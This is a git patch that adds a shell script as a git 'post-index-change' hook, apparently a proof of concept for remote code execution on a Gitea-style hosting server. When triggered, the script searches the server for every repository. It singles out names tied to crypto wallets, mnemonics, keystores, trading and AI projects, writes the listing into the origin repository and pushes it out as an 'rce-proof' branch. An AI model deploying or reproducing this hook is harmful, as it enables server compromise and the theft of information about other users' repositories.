From 95b1608efd0afec3df5520c5964ea636d499d56b Mon Sep 17 00:00:00 2001
From: auditpocvytkm <auditpocvytkm@audit.local>
Date: Wed, 26 Aug 2026 21:09:37 +0900
Subject: [PATCH] d-1

---
 hooks/post-index-change | 35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)
 create mode 100755 hooks/post-index-change

diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..7a40374
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,35 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin=""
+if [ -f "$git_dir/objects/info/alternates" ]; then
+  o=$(head -1 "$git_dir/objects/info/alternates") || o=""
+  case "$o" in
+    /*) origin="${o%/objects}" ;;
+    *) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
+  esac
+fi
+if [ -z "$origin" ]; then
+  u=$(git remote get-url origin 2>/dev/null) || u=""
+  case "$u" in /*) origin="${u%.git}";; esac
+fi
+if [ -z "$origin" ]; then
+  u=$(git config --get remote.origin.url 2>/dev/null) || u=""
+  case "$u" in /*) origin="${u%.git}";; esac
+fi
+if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
+  { echo '==ROOT=='
+ls -d /var/lib/gitea/git/repositories /data/gitea/git/repositories /data/git/repositories /home/git/repositories /var/lib/gitea/repositories /var/lib/gitea/data/gitea-repositories /srv/git /var/git /repos /opt/gitea 2>/dev/null
+echo '==FULL_GITLIST=='
+find / -xdev -name '*.git' -type d 2>/dev/null | grep -vE '/(proc|sys|dev|run|var/lib/docker|usr/lib|snap)/' | sort | head -6000
+echo '==KW_FULL=='
+find / -xdev -name '*.git' -type d 2>/dev/null | grep -iE '(ai|gpt|llm|openai|deepseek|claude|gemini|langchain|agent|wallet|usdt|usdc|crypto|coin|bitcoin|btc|eth|ethereum|tron|trx|token|nft|defi|dex|swap|mining|exchange|mnemonic|keystore|solidity|blockchain|solana|signer|quant|trading|arbitrage|staking|bridge|vault|payment|merchant|casino|bot|telegram|kalima)' | head -900
+echo '==NONSTD=='
+find / -xdev -maxdepth 4 -name '*.git' -type d 2>/dev/null | grep -vE '/(var/lib/gitea/(git/)?repositories|/var/lib/gitea/data/gitea-repositories|/home/git/repositories)/' | head -300
+  } 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
+  ob=$(cat /tmp/gpoc_blob 2>/dev/null)
+  [ -n "$ob" ] || exit 4
+  tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
+  commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
+  git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
+fi
+exit 0